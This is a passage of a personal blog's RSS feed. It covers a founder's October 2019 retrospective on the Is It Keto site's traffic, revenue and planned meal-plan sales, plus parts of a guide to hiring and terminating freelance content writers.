 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Unique Visitors&lt;/td>
 &lt;td>28,921&lt;/td>
 &lt;td>28,768&lt;/td>
 &lt;td>&lt;font color="red">-153 (-1%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Total Pageviews&lt;/td>
 &lt;td>73,469&lt;/td>
 &lt;td>75,487&lt;/td>
 &lt;td>&lt;font color="green">+2,018 (+3%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Domain Authority (Moz)&lt;/td>
 &lt;td>7&lt;/td>
 &lt;td>10&lt;/td>
 &lt;td>&lt;font color="green">+3 (+43%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Ranking Keywords (Moz)&lt;/td>
 &lt;td>2,205&lt;/td>
 &lt;td>2,330&lt;/td>
 &lt;td>&lt;font color="green">+125 (+6%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>AdSense Earnings&lt;/td>
 &lt;td>$227.25&lt;/td>
 &lt;td>$178.79&lt;/td>
 &lt;td>&lt;font color="red">-$48.46 (-21%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Amazon Affiliate Earnings&lt;/td>
 &lt;td>$152.55&lt;/td>
 &lt;td>$150.06&lt;/td>
 &lt;td>&lt;font color="red">-$2.49 (-2%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Revenue&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$379.80&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>$328.85&lt;/strong>&lt;/td>
 &lt;td>&lt;strong>&lt;font color="red">-$50.95 (-13%)&lt;/font>&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>So, it finally happened. Is It Keto has grown by about 30% in revenue and traffic every month this year. I knew that growth couldn&amp;rsquo;t continue forever, and I was waiting for the time when it would level off. It finally did.&lt;/p>
&lt;p>Everything stayed relatively flat except for AdSense earnings. I&amp;rsquo;m not sure if this is due to changes I made or if it&amp;rsquo;s just natural fluctuations in AdSense.&lt;/p>
&lt;h3 id="zestful">&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/h3>
&lt;div class="finances-chart">
 &lt;canvas id="zestful-finances-chart">&lt;/canvas>
&lt;/div>

&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Metric&lt;/th>
 &lt;th>August 2019&lt;/th>
 &lt;th>September 2019&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Total Earnings&lt;/td>
 &lt;td>$728.49&lt;/td>
 &lt;td>$4.51&lt;/td>
 &lt;td>&lt;font color="red">-$723.98 (-99%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;p>No surprises here. I knew my spike in revenue &lt;a href="https://mtlynch.io/retrospectives/2019/09/#zestful">last month&lt;/a> was an anomaly, and now it&amp;rsquo;s settled back into the normal territory of $3-$40 per month.&lt;/p>
&lt;h2 id="creating-premium-meal-plans-for-is-it-keto">Creating premium meal plans for Is It Keto&lt;/h2>
&lt;p>In September, I tested an affiliate partnership with a company that claimed to offer keto meal plans. They charge customers $15/mo and give affiliates 30% of subscription fees from their referrals (i.e., $5/mo per referred customer). I ran the link for a few weeks, but none of my readers signed up for their service.&lt;/p>
&lt;p>I tried testing the service myself, and I quickly realized why nobody wanted to use it: it was terrible.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1026px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/10/meal-planner.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1026px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/10/meal-planner_hu_83c26df2255aeb46.jpg 300w, https://mtlynch.io/retrospectives/2019/10/meal-planner_hu_ee3b90914cca3987.jpg 600w, https://mtlynch.io/retrospectives/2019/10/meal-planner_hu_39549f38774e97b8.jpg 800w, https://mtlynch.io/retrospectives/2019/10/meal-planner.jpg 1026w'
 src="https://mtlynch.io/retrospectives/2019/10/meal-planner.jpg" alt="Meal planner screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1026px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/10/grocery-list.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1026px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/10/grocery-list_hu_3d19dc6147f3fdaf.jpg 300w, https://mtlynch.io/retrospectives/2019/10/grocery-list_hu_11277a40354ee8f3.jpg 600w, https://mtlynch.io/retrospectives/2019/10/grocery-list_hu_a78f3ae83ebbb9cb.jpg 800w, https://mtlynch.io/retrospectives/2019/10/grocery-list.jpg 1026w'
 src="https://mtlynch.io/retrospectives/2019/10/grocery-list.jpg" alt="Grocery list screenshot" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>My former affiliate partner expects users to buy 102 different grocery store items and spend 12 hours per day cooking.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Their service didn&amp;rsquo;t create meal &amp;ldquo;plans.&amp;rdquo; It randomly threw together a bunch of breakfast, lunch, and dinner meals. To cook all the meals would take you hours. Ridiculously, the plan called for the user to purchase &lt;strong>102 different items&lt;/strong> from the grocery store. This is to feed a single person for a single week. The items include things like 1/8th of a cucumber and 1/2 of a jicama, which is clearly impractical.&lt;/p>
&lt;p>I took down the referral link and thought of a better solution: sell my own meal plans. I don&amp;rsquo;t need a heavyweight, customizable meal platform, just some PDFs to sell. I reached out to someone with experience creating popular meal plans, and we&amp;rsquo;re working on a partnership where I license their keto meal plans and sell them on my site under the Is It Keto brand.&lt;/p>
&lt;p>I put up a crude landing page with a &amp;ldquo;Buy&amp;rdquo; button. The button currently just brings you to a message saying that the meal plans are coming, but the page has had 254 unique visitors and 10 unique clicks on the Buy button, which implies a conversion rate of ~4%. That&amp;rsquo;s an optimistic estimate because some of those users probably would not have completed the checkout process, but it&amp;rsquo;s promising nonetheless that such a basic page would convince anyone to click at all.&lt;/p>













 

 








 
 
 

 
 
 

 
 
 





&lt;figure class="img" style="max-width: 825px">



 &lt;a href="https://mtlynch.io/retrospectives/2019/10/buy-button.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 825px, 98vw"
 srcset='https://mtlynch.io/retrospectives/2019/10/buy-button_hu_ec021df50d284015.jpg 300w, https://mtlynch.io/retrospectives/2019/10/buy-button_hu_846efbf4bbee8880.jpg 600w, https://mtlynch.io/retrospectives/2019/10/buy-button_hu_326dc55d043e7e70.jpg 800w, https://mtlynch.io/retrospectives/2019/10/buy-button.jpg 823w'
 src="https://mtlynch.io/retrospectives/2019/10/buy-button.jpg" alt="Screenshot of Buy button on sales page" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Testing sales for Is It Keto&amp;rsquo;s meal plans&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>I&amp;rsquo;m excited to start selling these plans. It feels much better to sell a product where you&amp;rsquo;re in direct contact with the creator as opposed to just throwing users to a faceless affiliate partner and hoping for the best. The meal plans will focus on optimizing for our readers&amp;rsquo; time and budget, so instead of a grocery list of 102 items, it will be more like 20. And the recipes make multiple servings that you can refrigerate and eat later instead of expecting the reader to cook entire meals from scratch 21 times per week.&lt;/p>
&lt;h2 id="hiring-has-made-me-better-at-hiring">Hiring has made me better at hiring&lt;/h2>
&lt;p>When I was hiring writers for Is It Keto &lt;a href="https://www.indiehackers.com/forum/isitketo-month-4-my-first-dollar-of-revenue-03e572f661">at the beginning of the year&lt;/a>, I ran paid trials with several writers, and it took me a long time to decide whether any candidate would be a good permanent hire. In one case, I worked with a writer for eight articles, paying her $65/hr for a total cost of $400. This was a substantial amount of time and money to spend on someone who ultimately didn&amp;rsquo;t work out.&lt;/p>
&lt;p>In August and September, I was able to hire much more efficiently because I&amp;rsquo;ve gotten better at identifying bad matches early. I&amp;rsquo;m more selective in who I hire for paid trials because I can better predict people&amp;rsquo;s paid work based on their writing samples. And I can generally eliminate a poor hire in three or fewer drafts of their first article.&lt;/p>
&lt;p>One of the most valuable skills I&amp;rsquo;ve learned is the ability to distinguish between fixable weaknesses and permanent ones. If a writer&amp;rsquo;s first draft has poor grammar or is incoherent, that&amp;rsquo;s an easy no-hire because I know they can&amp;rsquo;t fix that in the short term. If the writing is clear and engaging but violates my &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/#use-a-style-guide-to-enforce-consistency">style guide&lt;/a>, that&amp;rsquo;s fixable, and I&amp;rsquo;ll continue working with them. But if we get to draft two or three, and they&amp;rsquo;re repeating mistakes, or they communicate poorly, that&amp;rsquo;s a no-hire as well.&lt;/p>
&lt;h2 id="thinking-bigger">Thinking bigger&lt;/h2>
&lt;p>At the start of the year, I set a goal for myself to &lt;a href="https://mtlynch.io/bootstrapped-founder-year-1/#goals-for-year-two">earn $500 per month&lt;/a> from my businesses. Is It Keto is bringing me close to that target, and selling meal plans might put me over the bar.&lt;/p>
&lt;p>As I think about my next project and what I want to accomplish in 2020, I&amp;rsquo;m thinking bigger. Two people, in particular, drove this.&lt;/p>
&lt;p>The first is &lt;a href="http://www.coryzue.com/">Cory Zue&lt;/a>, an Indie Hacker from whom I frequently draw inspiration. This summer, he launched a &lt;a href="https://www.saaspegasus.com/">Django project template&lt;/a>, which he sells for $195 per license. That $195 gives him a lot of freedom. Imagine if he approached a podcast that caters to Django developers and offered them $500 to advertise his product. He&amp;rsquo;d turn a profit if just three listeners made purchases after hearing his ad. Contrast this with Is It Keto, which earns about $0.01 for each visitor to the site. If I spent $500 on an ad, it would have to attract 50,000 visitors before I started making money.&lt;/p>
&lt;p>It&amp;rsquo;s the same with hiring. If I wanted to hire an additional writer for ~$200/mo, they&amp;rsquo;d have to attract 20,000 new visitors each month (i.e., a 26% increase from my current traffic) to justify their cost. And that&amp;rsquo;s disregarding the cost of finding and training them.&lt;/p>
&lt;p>The other person that got me thinking was &lt;a href="https://twitter.com/jwmares">Justin Mares&lt;/a>, specifically his &lt;a href="https://www.indiehackers.com/podcast/116-justin-mares-of-kettle-and-fire">recent interview on Indie Hackers&lt;/a>. He started selling bone broth online and made $2.8M in his first year. He started another business selling keto products and made $40k in his first 40 days.&lt;/p>
&lt;p>I knew that startups could achieve quick successes like that, but that had never been my goal. I was more interested in finding projects that generated small amounts of money and seeing how much I could grow them. By now, I&amp;rsquo;ve had that experience with Is It Keto. The site earned $1.20 in December 2018, and I&amp;rsquo;ve been slowly growing it to earn over $300/month today.&lt;/p>
&lt;p>Now that I&amp;rsquo;ve had that experience, I&amp;rsquo;m gravitating more toward ideas that have big potential payoffs even if they&amp;rsquo;re riskier. As I think about how to expand Is It Keto or launch other businesses, I&amp;rsquo;m paying attention to ideas that have the potential for large amounts of revenue. Otherwise I&amp;rsquo;m going to be in the same situation as Is It Keto, where I&amp;rsquo;m rubbing sticks together to make fire because I don&amp;rsquo;t have the revenue to justify matches.&lt;/p>
&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: I&amp;rsquo;m not complaining about $300/mo. I&amp;rsquo;m thrilled to have reached this point, and it&amp;rsquo;s exciting to afford a part-time writer and still run profitably, but I&amp;rsquo;m interested in what I can do with higher margins.
&lt;/div>

&lt;h2 id="wrap-up">Wrap up&lt;/h2>
&lt;h3 id="what-got-done">What got done?&lt;/h3>
&lt;ul>
&lt;li>I arranged a partnership with a meal planning business to produce premium meal plans for Is It Keto.&lt;/li>
&lt;li>I hired a permanent writer for Is It Keto.&lt;/li>
&lt;li>I published &lt;a href="https://mtlynch.io/hiring-content-writers/">&amp;ldquo;Hiring Content Writers: A Guide for Small Businesses.&amp;rdquo;&lt;/a>&lt;/li>
&lt;li>I &lt;a href="https://github.com/mtlynch/whatgotdone">open sourced&lt;/a> What Got Done.&lt;/li>
&lt;/ul>
&lt;h3 id="lessons-learned">Lessons learned&lt;/h3>
&lt;ul>
&lt;li>I&amp;rsquo;m ready to think bigger and approach projects that are higher risk for higher revenue.&lt;/li>
&lt;li>Hiring becomes cheaper over time as you learn to spot red flags earlier.&lt;/li>
&lt;/ul>
&lt;h3 id="goals-for-next-month">Goals for next month&lt;/h3>
&lt;ul>
&lt;li>Earn $100 in revenue from sales of keto meal plans.&lt;/li>
&lt;li>Add five new articles to Is It Keto.&lt;/li>
&lt;li>Appear on a podcast aimed at freelancers or entrepreneurs to talk about my writing guide.
&lt;ul>
&lt;li>If you know of a good one, I happily welcome recommendations and introductions.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul></content:encoded></item><item><title>Hiring Content Writers: A Guide for Small Businesses</title><link>https://mtlynch.io/hiring-content-writers/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/</guid><description>&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/cover_hu_de48c454f352c4bb.jpg 300w, https://mtlynch.io/hiring-content-writers/cover_hu_a5ef3ec851ae21ef.jpg 600w, https://mtlynch.io/hiring-content-writers/cover_hu_d4a68b81bf9c60b3.jpg 800w, https://mtlynch.io/hiring-content-writers/cover_hu_c09b0c34fbb31cac.jpg 1200w, https://mtlynch.io/hiring-content-writers/cover.jpg 1200w'
 src="https://mtlynch.io/hiring-content-writers/cover.jpg" alt="Hiring Content Writers A Guide for Small Businesses (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you write original content for your business, you know how quickly it drains your time and mental energy. It&amp;rsquo;s extremely challenging to write articles or blog posts that readers find engaging, clear, and eloquent.&lt;/p>
&lt;p>You may have considered hiring a freelance writer, but it&amp;rsquo;s daunting if you&amp;rsquo;ve never done it before. Where do you find writers? How much does it cost? How do you ensure quality?&lt;/p></description><content:encoded>












 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1000px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/cover.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1000px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/cover_hu_de48c454f352c4bb.jpg 300w, https://mtlynch.io/hiring-content-writers/cover_hu_a5ef3ec851ae21ef.jpg 600w, https://mtlynch.io/hiring-content-writers/cover_hu_d4a68b81bf9c60b3.jpg 800w, https://mtlynch.io/hiring-content-writers/cover_hu_c09b0c34fbb31cac.jpg 1200w, https://mtlynch.io/hiring-content-writers/cover.jpg 1200w'
 src="https://mtlynch.io/hiring-content-writers/cover.jpg" alt="Hiring Content Writers A Guide for Small Businesses (cover image)" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>If you write original content for your business, you know how quickly it drains your time and mental energy. It&amp;rsquo;s extremely challenging to write articles or blog posts that readers find engaging, clear, and eloquent.&lt;/p>
&lt;p>You may have considered hiring a freelance writer, but it&amp;rsquo;s daunting if you&amp;rsquo;ve never done it before. Where do you find writers? How much does it cost? How do you ensure quality?&lt;/p>
&lt;p>One of my businesses is a content website, and outsourcing the writing has been one of my toughest challenges. The guides I found online were either uselessly vague or applied a wildly wrongheaded philosophy to working with freelancers.&lt;/p>
&lt;p>I&amp;rsquo;m by no means an expert at hiring writers, but I&amp;rsquo;m better than I was at the outset. I&amp;rsquo;ve written this guide to help others understand the process and what pitfalls to avoid.&lt;/p>
&lt;h2 id="who-should-read-this-guide">Who should read this guide&lt;/h2>
&lt;p>This guide is for people like me: small business owners who want to outsource writing to a professional. You can follow this guide with a monthly writing budget as low as $150, but it will work even for mid-range budgets up to $2,000-$3,000 per month.&lt;/p>
&lt;p>If you need a dirt-cheap writer to churn out content for your spam blog, this guide isn&amp;rsquo;t for you. Conversely, if you&amp;rsquo;re a Fortune 500 company who can blow $50k on a writing project without noticing, most of the strategies I describe won&amp;rsquo;t apply.&lt;/p>
&lt;h2 id="what-is-a-content-writer">What is a content writer?&lt;/h2>
&lt;p>There are three main types of freelance writers. Before hiring a content writer, you should understand how they differ from others:&lt;/p>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Type of writer&lt;/th>
 &lt;th>What they write&lt;/th>
 &lt;th>Examples&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>Content writer&lt;/td>
 &lt;td>Content that informs or entertains your audience&lt;/td>
 &lt;td>Magazine articles, blog posts, ebooks, newsletters&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Copywriter&lt;/td>
 &lt;td>Text that compels the reader to perform some action, such as buy a product or subscribe to a mailing list&lt;/td>
 &lt;td>Product descriptions, landing pages&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Technical writer&lt;/td>
 &lt;td>Highly technical content for an audience with specialized knowledge&lt;/td>
 &lt;td>Software documentation, whitepapers&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="the-fundamental-principle-of-hiring-talented-people">The fundamental principle of hiring talented people&lt;/h2>
&lt;p>There&amp;rsquo;s one underlying maxim that governs my hiring philosophy for any skilled position:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Talented people choose their employers selectively&lt;/strong>&lt;/li>
&lt;/ul>
&lt;p>Other guides recommend forcing writers through tedious and time-consuming hoops without pay. They assume that writers are so desperate for work that you can demand anything you want from them by dangling the mere &lt;em>potential&lt;/em> for a job.&lt;/p>
&lt;p>There certainly are desperate writers who will jump through all of your hoops, but they&amp;rsquo;re not the writers you want. Exceptional writers run for the hills as soon as they hear &amp;ldquo;unpaid trial job.&amp;rdquo;&lt;/p>
&lt;p>If you want talented writers, create work conditions that are fair, pleasant, and interesting. Show candidates that you respect and value their craft. This starts from the first message you send and continues throughout your working relationship with them.&lt;/p>
&lt;h2 id="my-practical-experience">My practical experience&lt;/h2>
&lt;p>Everything in this guide is based on my real experiences of hiring and working with writers over several months. My business is a website called &lt;a href="https://isitketo.org">Is It Keto&lt;/a>, which explains whether or not popular foods fit the keto diet.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 800px">



 &lt;a href="https://mtlynch.io/hiring-content-writers/isitketo-screenshot.jpg">
 &lt;img
 class="img-border"
 sizes="(min-width: 768px) 800px, 98vw"
 srcset='https://mtlynch.io/hiring-content-writers/isitketo-screenshot_hu_95ce3abb710ed83.jpg 300w, https://mtlynch.io/hiring-content-writers/isitketo-screenshot_hu_f8910b7ba347b3f8.jpg 600w, https://mtlynch.io/hiring-content-writers/isitketo-screenshot_hu_96a27ce45b4e52ee.jpg 800w, https://mtlynch.io/hiring-content-writers/isitketo-screenshot_hu_75a2780e6a44228f.jpg 1200w, https://mtlynch.io/hiring-content-writers/isitketo-screenshot.jpg 1354w'
 src="https://mtlynch.io/hiring-content-writers/isitketo-screenshot.jpg" alt="Screenshot of Is It Keto broccoli article" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Is It Keto article on &lt;a href="https://isitketo.org/broccoli">broccoli&lt;/a>&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>At &lt;a href="https://mtlynch.io/retrospectives/2019/09/#stats">~73,000 pageviews per month&lt;/a>, Is It Keto is still relatively small, but its audience has grown by 30-50% every month this year. I believe its success results from its succinct, clear writing.&lt;/p>
&lt;p>Throughout this guide, I&amp;rsquo;ll share examples of the actual job postings, style guides, and email templates I used to hire and work with writers on Is It Keto.&lt;/p>
&lt;h2 id="part-one-finding-writers">Part One: Finding Writers&lt;/h2>
&lt;p>The first step in hiring writers is locating the ones who are available for work. This section outlines all the methods I used to find writers and my results for each.&lt;/p>
&lt;p>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Read more&lt;/a>&lt;/p>
&lt;h2 id="part-two-creating-a-detailed-job-description">Part Two: Creating a Detailed Job Description&lt;/h2>
&lt;p>Now that you&amp;rsquo;ve found available writers, you need to tell them what you want. This section explains how to create a job description that minimizes ramp-up time and demonstrates to prospective candidates that you&amp;rsquo;re an organized professional.&lt;/p>
&lt;p>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Read more&lt;/a>&lt;/p>
&lt;h2 id="part-three-screening-candidates">Part Three: Screening Candidates&lt;/h2>
&lt;p>Once you receive applications from candidates, it&amp;rsquo;s time to decide whom to hire and whom to reject. This section explains the signals that help you make this decision and which ones you should ignore.&lt;/p>
&lt;p>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Read more&lt;/a>&lt;/p>
&lt;h2 id="part-four-working-with-writers">Part Four: Working with Writers&lt;/h2>
&lt;p>After hiring a writer, your next step is teaching them the style of writing you want. This section explains how to help writers learn to write well for you and how to ensure that your best writers stick around.&lt;/p>
&lt;p>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Read more&lt;/a>&lt;/p>
&lt;h2 id="part-five-terminating-writers">Part Five: Terminating Writers&lt;/h2>
&lt;p>If a writer consistently fails to meet your expectations, you need to cut your losses by ending their contract. This section explains how to gracefully terminate a freelance relationship and integrate the experience into your future hiring.&lt;/p>
&lt;p>&lt;a href="https://mtlynch.io/hiring-content-writers/5-terminating-writers/">Read more&lt;/a>&lt;/p>
&lt;hr>
&lt;p>&lt;em>Cover art by Loraine Yow. Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring Content Writers: Part Five - Terminating Writers</title><link>https://mtlynch.io/hiring-content-writers/5-terminating-writers/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/5-terminating-writers/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Five - Terminating Writers&lt;/strong> (this section)&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>If you&amp;rsquo;ve followed this guide, you&amp;rsquo;ve hired writers on a trial basis, which means that many of them won&amp;rsquo;t work out. This section explains how to gracefully end those relationships and refine your search for future candidates.&lt;/p></description><content:encoded>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Five - Terminating Writers&lt;/strong> (this section)&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>If you&amp;rsquo;ve followed this guide, you&amp;rsquo;ve hired writers on a trial basis, which means that many of them won&amp;rsquo;t work out. This section explains how to gracefully end those relationships and refine your search for future candidates.&lt;/p>
&lt;h2 id="example-termination-notes">Example termination notes&lt;/h2>
&lt;p>Here&amp;rsquo;s an email I wrote to one of my writers that didn&amp;rsquo;t work out:&lt;/p>
&lt;blockquote>
&lt;p>I appreciate the work you put into these, but the content is pretty distant from what I&amp;rsquo;m looking for, so I&amp;rsquo;m afraid this is not a good match.&lt;/p>
&lt;p>I&amp;rsquo;ve mailed you a check for the hours you worked. It&amp;rsquo;s scheduled to arrive by 9/16.&lt;/p>
&lt;p>Thanks again for your work, and best of luck in your future projects.&lt;/p>&lt;/blockquote>
&lt;p>And this one is my harshest:&lt;/p>
&lt;blockquote>
&lt;p>That&amp;rsquo;s twice in a row that you promised work by a certain date and didn&amp;rsquo;t deliver or give an update, so I&amp;rsquo;m afraid I need to end our relationship here.&lt;/p>
&lt;p>I mailed you a check on Saturday for your hours. I don&amp;rsquo;t need edits on the remaining articles.&lt;/p>
&lt;p>Best of luck in the future.&lt;/p>&lt;/blockquote>
&lt;p>I don&amp;rsquo;t claim to be an expert at firing people, but all of my terminations have gone smoothly. The writers accept my reasons for ending the relationship and have never accused me of acting unfairly.&lt;/p>
&lt;h2 id="keys-to-a-graceful-termination">Keys to a graceful termination&lt;/h2>
&lt;p>The rules for artfully ending a relationship are similar to the &lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/#give-tactful-feedback">rules for giving feedback&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>Remain objective&lt;/li>
&lt;li>Stick to facts&lt;/li>
&lt;li>Focus on the writing rather than the person&lt;/li>
&lt;li>Avoid insults or negative editorializing about their work&lt;/li>
&lt;/ul>
&lt;blockquote>
&lt;p>&lt;strong>&lt;font color="red">Bad&lt;/font>&lt;/strong>: Your writing is terrible, and I hate you.&lt;/p>&lt;/blockquote>
&lt;!-- separate blockquotes -->
&lt;blockquote>
&lt;p>&lt;strong>&lt;font color="green">Good&lt;/font>&lt;/strong>: Unfortunately, your writing doesn&amp;rsquo;t match the style I&amp;rsquo;m looking for, and I don&amp;rsquo;t feel that we communicate well.&lt;/p>&lt;/blockquote>
&lt;p>On a platform like Upwork, it&amp;rsquo;s especially important to avoid acrimonious terminations because writers leave feedback for their clients. If they give you a low rating and accuse you of mistreatment, you&amp;rsquo;ll have a harder time attracting talent in the future.&lt;/p>
&lt;h2 id="learning-from-your-mistakes">Learning from your mistakes&lt;/h2>
&lt;p>Before you begin interviewing again, review your job description and style guide. Think about patterns of error with your last writer and what changes earlier in the process might prevent them.&lt;/p>
&lt;ul>
&lt;li>Revise your job description
&lt;ul>
&lt;li>Can you prevent misunderstandings about the work by clarifying the job description?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Update your example articles
&lt;ul>
&lt;li>Do you have any new articles that can serve as better models of what you want?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>Re-read your style guide
&lt;ul>
&lt;li>Are there recurring patterns of error that you can warn about in your style guide?&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>For example, with Is It Keto, I noticed myself burning too much time fixing grammar errors for my writers. I revised the job posting to make grammar proficiency an explicit requirement and paid closer attention to syntax when &lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/#writing-samples">evaluating writing samples&lt;/a>. This drastically reduced the time I spent fixing grammar errors. The requirement caused candidates to proofread their work more thoroughly, and I learned to bail fast on writers with poor grammar.&lt;/p>
&lt;h2 id="termination-is-part-of-the-process">Termination is part of the process&lt;/h2>
&lt;p>After letting a writer go, it&amp;rsquo;s easy to feel discouraged. You&amp;rsquo;ve invested hours into screening and training a writer only to throw it all away and start from scratch. Depending on how you structured compensation, you may have even paid them for an article that&amp;rsquo;s too shoddy to publish. That&amp;rsquo;s never a good feeling.&lt;/p>
&lt;p>Instead of allowing the termination to bring you down, recognize the positives. Each iteration of this process gives you a better sense of what you want, helps you more quickly eliminate weak candidates, and improves your skill as a manager.&lt;/p>
&lt;p>When you find the writer that matches your needs, it&amp;rsquo;s a tremendous partnership, but you need to put in the work to find them.&lt;/p>
&lt;hr>
&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/1-finding-writers/">Part One: Finding Writers&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/2-creating-a-job-description/">Part Two - Creating a Detailed Job Description&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/3-screening-candidates/">Part Three: Screening Candidates&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/4-working-with-writers/">Part Four - Working with Writers&lt;/a>&lt;/li>
&lt;li>&lt;strong>Part Five - Terminating Writers&lt;/strong> (this section)&lt;/li>
&lt;/ul>
&lt;hr>
&lt;p>&lt;em>Thanks to my writer, &lt;a href="https://www.morganprovince.com/">Morgan Province&lt;/a>, for offering insight to help me create this guide. Special thanks to Alexis Grant of The Write Life for volunteering her time to provide me with feedback.&lt;/em>&lt;/p></content:encoded></item><item><title>Hiring Content Writers: Part Four - Working with Writers</title><link>https://mtlynch.io/hiring-content-writers/4-working-with-writers/</link><pubDate>Mon, 30 Sep 2019 00:00:00 +0000</pubDate><guid>https://mtlynch.io/hiring-content-writers/4-working-with-writers/</guid><description>&lt;ul>
&lt;li>&lt;a href="https://mtlynch.io/hiring-content-writers/">Overview: Hiring Content Writers&lt;/a>&lt;/li>
